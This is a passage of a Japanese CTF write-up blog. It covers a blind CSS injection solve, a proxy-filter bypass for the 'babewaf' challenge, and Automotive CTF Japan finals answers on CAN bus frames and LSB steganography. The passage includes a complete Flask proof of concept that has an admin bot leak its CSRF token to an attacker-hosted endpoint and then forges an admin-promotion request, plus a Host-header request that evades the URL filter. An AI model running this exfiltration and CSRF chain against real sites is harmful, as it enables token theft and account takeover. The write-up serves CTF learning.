Blind CSS Injectionによる読み取りは32回繰り返す必要がある。よって、Admin Botに1回文のpayloadをそのまま踏ませるのではなく、踏み台のサイトを用意して32回踏ませることにする。具体的には以下のようなHTMLページを何処かでホストして踏ませる。

<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {{
        for (let i = 0; i < 32; i++) {{
            open("http://web:5000/admin?message=<link%20rel='stylesheet'%20href='http://[your-ip-address]/v1'%20/>");
            await sleep(2 * 1000);
        }}
    }}, 0);
</script>

/v1/leakについてはFlaskで(不要な部分をかなり省略しているが)以下のように実装した。

OTP = ''

@app.route('/v1')
def v1():
    global OTP
    css = ''
    for c in "0123456789abcdef":
        css += f'input[type=hidden][value^="{OTP}{c}"]+div {{ background: url("{HOST}/leak?otp={OTP}{c}"); }}\n'
    return css, 200, {'Content-Type': 'text/css'}

@app.route('/leak')
def leak():
    global OTP
    OTP = request.args['otp']
    print(OTP)
    return 'OK'

これで/v1CSSを返し、その結果を/leakで受け取り、内部的にtokenを更新して、また次に/v1が呼ばれたら次の文字を加えてCSSを返し…ということをする。これでトークンをすべて一度に取得することができる。

本番では、これでは遅かったので一度に2文字ずつ抜き取るような実装を最終的には使った。最後にPoCをすべて載せるが、/v2が2文字ずつ抜き取るバージョンである。

全てを繋げる

これで準備が整った。

  1. [手動で] adminに昇格したいユーザーを作成する
  2. [Admin Bot経由で] PoCコードを使い、adminユーザーのcsrf_tokenを盗み、先ほど作ったユーザーをadminに昇格させる
  3. [手動で] 作ったユーザーでログインして/admin/flagにアクセスするとフラグが手に入る

PoCコードは最終的に以下のようになる。

# https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection

from flask import Flask, request
import string
import time

app = Flask(__name__)

HOST = 'http://[victim-server]'
OTP = ''

BASE = 'http://web:5000'
@app.route('/entry')
def entry():
    html = f'''
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {{
        for (let i = 0; i < 32 / 2; i++) {{
            open("{BASE}/admin?message=<link%20rel='stylesheet'%20href='{HOST}/v2'%20/>");
            await sleep(2 * 1000);
        }}
        open("{HOST}/gogo");
    }}, 0);
</script>
'''
    return html, 200, {'Content-Type': 'text/html'}

USERNAME = '[your-username]'
@app.route('/gogo')
def gogo():
    global OTP
    html = f'''
<form id=form target=poc action="{BASE}/admin" method="POST">
    <input name="username" value="{USERNAME}">
    <input name="csrf_token" value="{OTP}">
    <button>submit</button>
</form>
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {{
        var win = open('about:blank', 'poc');
        form.submit();
    }}, 0);
</script>
'''
    return html, 200, {'Content-Type': 'text/html'}

@app.route('/v2')
def v2():
    global OTP
    css = ''
    for c1 in "0123456789abcdef":
        for c2 in "0123456789abcdef":
            css += f'input[type=hidden][value^="{OTP}{c1}{c2}"]+div {{ background: url("{HOST}/leak?otp={OTP}{c1}{c2}"); }}\n'
    return css, 200, {'Content-Type': 'text/css'}

@app.route('/leak')
def leak():
    global OTP
    OTP = request.args['otp']
    print(OTP)
    return 'OK'


if __name__ == '__main__':
    app.run(host='::', port=80)

[web] babewaf

ソースコード有り。javascriptで書かれたプロキシサーバーとバックエンドサーバーが与えられる。

プロキシサーバーは以下のように実装されていて、かなり読みやすい。

const express = require("express");
const { createProxyMiddleware } = require("http-proxy-middleware");

const app = express();
const BACKEND = process.env.BACKEND;

app.use((req, res, next) => {
  if (req.url.indexOf("%") !== -1) {
    res.send("no hack :)");
  }
  if (req.url.indexOf("flag") !== -1) {
    res.send("🚩");
  }
  next();
});

app.get(
  "*",
  createProxyMiddleware({
    target: BACKEND,
  }),
);

app.listen(3000);

%とflagがURLに入っていると弾かれる。後ろのbackendサーバーへはhttp-proxy-middlewareを使って転送している。

バックエンドサーバーもかなり簡潔。DenoとHonoで構築されている。

import { Hono } from 'hono'
import { serveStatic } from 'hono/deno'

const app = new Hono()
const FLAG = Deno.env.get("FLAG");

app.get('/', serveStatic({ path: './index.html' }))

app.get('/givemeflag', (c) => {
  return c.text(FLAG)
})

export default app

GET /givemeflagができればフラグがもらえる。だが、これはプロキシサーバーでブロックされていてアクセスできない。

http-proxy-middlewareを怪しむ

ここからひたすら頭を打ち付けて解く。Honoのルーティングの挙動で何かが起こるか…とも考えたが、書き方も一般的で大文字小文字とかユニコードガチャぐらいしか方針が思い浮かばない。よって、http-proxy-middlewareを叩くことにした。(…というより、叩くことにしたら解けた)

最初はX-Forwarded-Prefixみたいなヘッダーで変換ができないか色々試したがダメだった。次に、それほど量もなさそうだったので、http-proxy-middlewareのコードを全部眺めることにした。使えそうなコードが無いか探すと面白いものがあった。

https://github.com/chimurai/http-proxy-middleware/blob/master/src/plugins/default/logger-plugin.ts#L23-L26

  proxyServer.on('error', (err, req, res, target?) => {
    const hostname = req?.headers?.host;
    const requestHref = `${hostname}${req?.url}`;
    const targetHref = `${(target as unknown as any)?.href}`; // target is undefined when websocket errors

Hostヘッダーを利用している!この部分が実際の変換処理で使われているか分からないが実験してみる。バックエンド側のサーバーを以下のように書き換えて変換を見てみる。

app.get('*', (c) => {
  return c.text(c.req.path)
})

これでガチャガチャやっていると、

GET /fuga HTTP/1.1
Host: http://hoge/


-> 

//hoge//fuga

というのが出てきた。勝ち筋が見えてきて、ここから更にガチャガチャやって最終的に以下のようなリクエストでフラグが得られた。バックエンドには/givemeflag?/のようにして渡される。

GET / HTTP/1.1
Host: http:/givemeflag?
Connection: keep-alive

Automotive CTF Japan 決勝 Writeup

Automotive CTF Japan 予選 Writeup - はまやんはまやんはまやんの国内決勝。TeamONEとして出場し、2位でアメリカ決勝進出! チームメンバーのWriteup 1 2 3

xNexux

予選同様、xNexusというVSOCプラットフォームが与えられて、設問に答えていく。

CAN Bus Anomaly #1

xNexusでCAN ID 0x3B9と0x3D1のCANバス異常を追跡して、その脆弱性IDを特定してください。ハッカーが通常参照するものを適切なフラグ形式で提出してください。

脆弱性ID、ハッカーが通常参照するものということでCVEだろう。cve 3b9 3d1で検索すると検索結果の1番目に出てくる。bh{CVE-2022-26269}で正解。

CAN Bus Anomaly #2

おっと、誰かが車両の全シリンダーへの燃料供給を停止するCANフレームを送信しています。完全なCANフレームを提供してください。 フラグ形式の例:bh{1337#0201}

フラグ形式にあるものはcandumpとかで出力されるSocketCAN compact形式と似ているので、その形式で書くように答えよということだろう。

xNexusのOAT検出で記録されているCANのログデータを見ていくと予選で見たようなログが残っており、xNexuxの環境はそのまま使っていてログを追加しているようだった。つまり、ID的には2127827以降を見れば十分だろうということでログを絞って確認していった。するとCAN IDは10通りに絞られる。

  • 000 -> 全部0で何かしている感じは無い
  • 094,645,760,768 -> 予選でも出てきたし、中身も同じ。
  • 0b6 -> 0x010001を1回送信
  • 3b9 -> 色んなcandataを送っている
  • 3d1 -> 色んなcandataを送っている
  • 7df -> 0x0201を複数回送信
  • 7e0 -> 色んなcandataを送っている

という感じ。とりあえずcandataの種類が1種類しかない0b6と7dfを送ってみるが違う。CAN IDでググってみると、こういうQiitaが見つかり、0x7fdか0x7e0か?という感じになる、7dfは既に試しているので7e0か?

7e0でググってみるもよさそうな情報が見当たらず、7e0は10種類くらいcandataのバリエーションがあったが、とりあえず出してみるかと一番多く記録されていた06301c000fa50100をあてずっぽうで出すと正答だった。

bh{7e0#06301c000fa50100}が正解。

RAMN

RAMNという機器が与えられるので、問いに答えていく問題群。決勝の問題のほとんどを占めていた。

[ECU C] Noiseless

この問題、本質的な部分は全く何もしておらず、自分がポイント泥棒をした問題。CANとSteganographyのタグが付いていた。問題文は以下。

ブレーキのCANメッセージの最下位ビットはノイズではありません。
注意: 1分間のCANメッセージログにフラグを取得するために必要なすべてが含まれています。

自分がこの問題に取り組み始めた段階で既に問題を解くカギは既に揃っていた。

laysakuraさんが既に1分間分のCANメッセージをダンプしてチーム内共有してくれていた。
beaさんから問題の概要を教えてもらい、ダンプを受け取る。
kusanoさんからブレーキのCAN IDは007ですと教えてもらう。
tkitoさんからCAN IDが007であるときのcandataのフォーマットを教えてもらう。

02 83 6E F0 7B 06 FD 2E
だと
02 -> 忘れた。固定
83 -> 忘れたが、80,81,82,83になってる
6E F0 -> カウンター(ログを見ても順番にインクリメントされている)
7B 06 FD 2E -> CRC

ということでフォーマット上は2バイト目くらいしか恣意的に何かを埋め込めそうな所が無い。

kusanoさん「2バイト目の最下位ビットを持ってきてやればよさそうなんですよね~」
hamayanhamayan「実装しますね!」

https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':','%7D,'',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'0x80'%7D,'0',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'0x81'%7D,'1',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'0x83'%7D,'1',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'0x82'%7D,'0',true,false,true,false)From_Binary('Space',8)&input=MHg4MCwweDgxLDB4ODIsMHg4MiwweDgzLDB4ODEsMHg4MSwweDgyLDB4ODIsMHg4MywweDgyLDB4ODMsMHg4MiwweDgxLDB4ODAsMHg4MCwweDgyLDB4ODMsMHg4MywweDgzLDB4ODMsMHg4MywweDgyLDB4ODEsMHg4MCwweDgxLDB4ODEsMHg4MiwweDgyLDB4ODIsMHg4MSwweDgyLDB4ODAsMHg4MywweDgxLDB4ODIsMHg4MywweDgwLDB4ODAsMHg4MCwweDgyLDB4ODEsMHg4MywweDgzLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MiwweDgxLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MiwweDgxLDB4ODMsMHg4MiwweDgwLDB4ODAsMHg4MCwweDgwLDB4ODMsMHg4MCwweDgyLDB4ODEsMHg4MCwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgxLDB4ODAsMHg4MywweDgwLDB4ODEsMHg4MywweDgxLDB4ODEsMHg4MywweDgwLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgxLDB4ODAsMHg4MywweDgxLDB4ODEsMHg4MCwweDgyLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MywweDgxLDB4ODIsMHg4MywweDgwLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgwLDB4ODIsMHg4MCwweDgzLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MywweDgxLDB4ODMsMHg4MiwweDgwLDB4ODMsMHg4MCwweDgzLDB4ODAsMHg4MywweDgwLDB4ODIsMHg4MCwweDgzLDB4ODMsMHg4MSwweDgxLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgwLDB4ODEsMHg4MywweDgwLDB4ODEsMHg4MiwweDgwLDB4ODIsMHg4MCwweDgxLDB4ODEsMHg4MSwweDgxLDB4ODIsMHg4MSwweDgzLDB4ODAsMHg4MSwweDgwLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgyLDB4ODAsMHg4MywweDgxLDB4ODIsMHg4MCwweDgyLDB4ODAsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgxLDB4ODAsMHg4MywweDgzLDB4ODIsMHg4MSwweDgyLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MywweDgyLDB4ODMsMHg4MCwweDgzLDB4ODMsMHg4MywweDgzLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MiwweDgyLDB4ODIsMHg4MywweDgyLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MywweDgyLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MSwweDgyLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MywweDgwLDB4ODAsMHg4MiwweDgyLDB4ODIsMHg4MywweDgyLDB4ODEsMHg4MCwweDgwLDB4ODEsMHg4MSwweDgzLDB4ODAsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MiwweDgyLDB4ODIsMHg4MywweDgzLDB4ODEsMHg4MywweDgzLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MSwweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgzLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODIsMHg4MywweDgxLDB4ODMsMHg4MSwweDgwLDB4ODMsMHg4MywweDgyLDB4ODEsMHg4MCwweDgyLDB4ODMsMHg4MCwweDgzLDB4ODAsMHg4MCwweDgyLDB4ODEsMHg4MywweDgyLDB4ODAsMHg4MiwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MywweDgyLDB4ODMsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MywweDgyLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgzLDB4ODEsMHg4MSwweDgxLDB4ODAsMHg4MywweDgyLDB4ODEsMHg4MiwweDgyLDB4ODAsMHg4MCwweDgyLDB4ODEsMHg4MCwweDgwLDB4ODMsMHg4MCwweDgyLDB4ODEsMHg4MCwweDgzLDB4ODEsMHg4MywweDgwLDB4ODIsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgzLDB4ODMsMHg4MCwweDgzLDB4ODAsMHg4MywweDgyLDB4ODEsMHg4MCwweDgyLDB4ODIsMHg4MCwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODIsMHg4MiwweDgxLDB4ODMsMHg4MSwweDgwLDB4ODIsMHg4MywweDgwLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODMsMHg4MywweDgzLDB4ODEsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODEsMHg4MCwweDgwLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MywweDgzLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgyLDB4ODEsMHg4MSwweDgzLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MiwweDgxLDB4ODIsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MCwweDgxLDB4ODEsMHg4MCwweDgyLDB4ODIsMHg4MiwweDgwLDB4ODMsMHg4MCwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODAsMHg4MywweDgyLDB4ODEsMHg4MywweDgzLDB4ODMsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgzLDB4ODAsMHg4MiwweDgyLDB4ODAsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgxLDB4ODIsMHg4MCwweDgzLDB4ODIsMHg4MywweDgxLDB4ODMsMHg4MCwweDgyLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MywweDgxLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MywweDgyLDB4ODAsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODAsMHg4MCwweDgzLDB4ODMsMHg4MywweDgxLDB4ODMsMHg4MiwweDgxLDB4ODIsMHg4MywweDgzLDB4ODAsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgwLDB4ODMsMHg4MSwweDgwLDB4ODMsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MSwweDgzLDB4ODIsMHg4MywweDgyLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MCwweDgwLDB4ODAsMHg4MywweDgzLDB4ODAsMHg4MCwweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgzLDB4ODAsMHg4MywweDgyLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MiwweDgzLDB4ODEsMHg4MywweDgxLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MSwweDgyLDB4ODAsMHg4MiwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MSwweDgyLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MSwweDgzLDB4ODIsMHg4MiwweDgyLDB4ODMsMHg4MiwweDgxLDB4ODEsMHg4MywweDgyLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MCwweDgwLDB4ODAsMHg4MywweDgwLDB4ODEsMHg4MiwweDgyLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MywweDgwLDB4ODEsMHg4MiwweDgyLDB4ODAsMHg4MywweDgxLDB4ODMsMHg4MywweDgxLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MiwweDgwLDB4ODIsMHg4MywweDgxLDB4ODEsMHg4MywweDgwLDB4ODMsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgwLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MCwweDgyLDB4ODMsMHg4MywweDgyLDB4ODIsMHg4MCwweDgwLDB4ODIsMHg4MywweDgyLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MywweDgwLDB4ODEsMHg4MiwweDgwLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgxLDB4ODEsMHg4MywweDgxLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MiwweDgyLDB4ODAsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgyLDB4ODMsMHg4MCwweDgzLDB4ODEsMHg4MywweDgyLDB4ODIsMHg4MCwweDgxLDB4ODIsMHg4MywweDgzLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgyLDB4ODIsMHg4MiwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MCwweDgxLDB4ODEsMHg4MSwweDgwLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgyLDB4ODMsMHg4MywweDgxLDB4ODMsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODMsMHg4MiwweDgyLDB4ODAsMHg4MywweDgwLDB4ODAsMHg4MywweDgxLDB4ODAsMHg4MywweDgwLDB4ODAsMHg4MCwweDgwLDB4ODMsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgxLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MiwweDgxLDB4ODEsMHg4MiwweDgwLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgxLDB4ODMsMHg4MiwweDgxLDB4ODIsMHg4MiwweDgyLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MywweDgyLDB4ODEsMHg4MSwweDgzLDB4ODMsMHg4MywweDgwLDB4ODEsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgzLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MSwweDgzLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODIsMHg4MiwweDgyLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MywweDgzLDB4ODEsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgxLDB4ODIsMHg4MywweDgyLDB4ODIsMHg4MiwweDgzLDB4ODMsMHg4MywweDgxLDB4ODEsMHg4MiwweDgxLDB4ODAsMHg4MywweDgxLDB4ODIsMHg4MCwweDgwLDB4ODEsMHg4MiwweDgyLDB4ODMsMHg4MywweDgwLDB4ODEsMHg4MiwweDgyLDB4ODAsMHg4MCwweDgxLDB4ODEsMHg4MSwweDgxLDB4ODIsMHg4MywweDgxLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgyLDB4ODIsMHg4MywweDgxLDB4ODIsMHg4MiwweDgyLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgxLDB4ODAsMHg4MSwweDgzLDB4ODAsMHg4MywweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MywweDgwLDB4ODEsMHg4MiwweDgzLDB4ODMsMHg4MywweDgxLDB4ODMsMHg4MiwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MCwweDgyLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MywweDgzLDB4ODAsMHg4MiwweDgyLDB4ODMsMHg4MCwweDgzLDB4ODEsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgyLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgwLDB4ODMsMHg4MywweDgxLDB4ODIsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MCwweDgyLDB4ODAsMHg4MywweDgxLDB4ODEsMHg4MSwweDgxLDB4ODAsMHg4MywweDgyLDB4ODMsMHg4MSwweDgwLDB4ODAsMHg4MiwweDgzLDB4ODAsMHg4MiwweDgzLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODAsMHg4MywweDgzLDB4ODMsMHg4MSwweDgyLDB4ODEsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgyLDB4ODEsMHg4MiwweDgxLDB4ODAsMHg4MiwweDgwLDB4ODEsMHg4MywweDgyLDB4ODAsMHg4MiwweDgyLDB4ODAsMHg4MSwweDgyLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MywweDgyLDB4ODEsMHg4MiwweDgyLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MywweDgxLDB4ODMsMHg4MywweDgxLDB4ODIsMHg4MywweDgwLDB4ODEsMHg4MiwweDgwLDB4ODAsMHg4MCwweDgyLDB4ODMsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgwLDB4ODMsMHg4MiwweDgxLDB4ODMsMHg4MywweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MywweDgzLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgxLDB4ODMsMHg4MywweDgyLDB4ODAsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODMsMHg4MywweDgxLDB4ODEsMHg4MywweDgyLDB4ODEsMHg4MCwweDgzLDB4ODMsMHg4MiwweDgwLDB4ODAsMHg4MSwweDgyLDB4ODIsMHg4MSwweDgzLDB4ODAsMHg4MywweDgwLDB4ODIsMHg4MiwweDgyLDB4ODEsMHg4MSwweDgxLDB4ODEsMHg4MCwweDgzLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MCwweDgxLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MCwweDgyLDB4ODMsMHg4MiwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MiwweDgzLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MywweDgxLDB4ODMsMHg4MywweDgwLDB4ODEsMHg4MiwweDgxLDB4ODIsMHg4MiwweDgyLDB4ODAsMHg4MCwweDgzLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgwLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MSwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgyLDB4ODAsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgyLDB4ODEsMHg4MiwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgxLDB4ODEsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgxLDB4ODIsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgwLDB4ODEsMHg4MSwweDgyLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MSwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MywweDgwLDB4ODMsMHg4MiwweDgyLDB4ODAsMHg4MSwweDgxLDB4ODAsMHg4MiwweDgwLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MCwweDgxLDB4ODEsMHg4MywweDgzLDB4ODMsMHg4MiwweDgxLDB4ODAsMHg4MywweDgwLDB4ODAsMHg4MCwweDgwLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MywweDgyLDB4ODIsMHg4MywweDgyLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODEsMHg4MywweDgwLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgyLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MCwweDgwLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MiwweDgxLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MywweDgxLDB4ODEsMHg4MywweDgxLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MSwweDgyLDB4ODIsMHg4MCwweDgxLDB4ODAsMHg4MCwweDgzLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MiwweDgwLDB4ODIsMHg4MywweDgxLDB4ODMsMHg4MSwweDgwLDB4ODEsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgyLDB4ODEsMHg4MSwweDgyLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MywweDgwLDB4ODEsMHg4MywweDgyLDB4ODEsMHg4MCwweDgyLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgxLDB4ODEsMHg4MSwweDgxLDB4ODAsMHg4MywweDgyLDB4ODMsMHg4MCwweDgyLDB4ODIsMHg4MiwweDgyLDB4ODMsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgzLDB4ODEsMHg4MywweDgwLDB4ODIsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MywweDgyLDB4ODMsMHg4MCwweDgyLDB4ODAsMHg4MCwweDgyLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgxLDB4ODEsMHg4MSwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgyLDB4ODMsMHg4MSwweDgxLDB4ODEsMHg4MywweDgwLDB4ODEsMHg4MCwweDgxLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MSwweDgyLDB4ODIsMHg4MywweDgxLDB4ODIsMHg4MSwweDgyLDB4ODAsMHg4MiwweDgwLDB4ODMsMHg4MSwweDgxLDB4ODMsMHg4MCwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MywweDgwLDB4ODAsMHg4MCwweDgzLDB4ODMsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgxLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MSwweDgzLDB4ODMsMHg4MywweDgyLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgyLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgxLDB4ODAsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgyLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MywweDgxLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MCwweDgxLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MSwweDgxLDB4ODEsMHg4MiwweDgwLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgwLD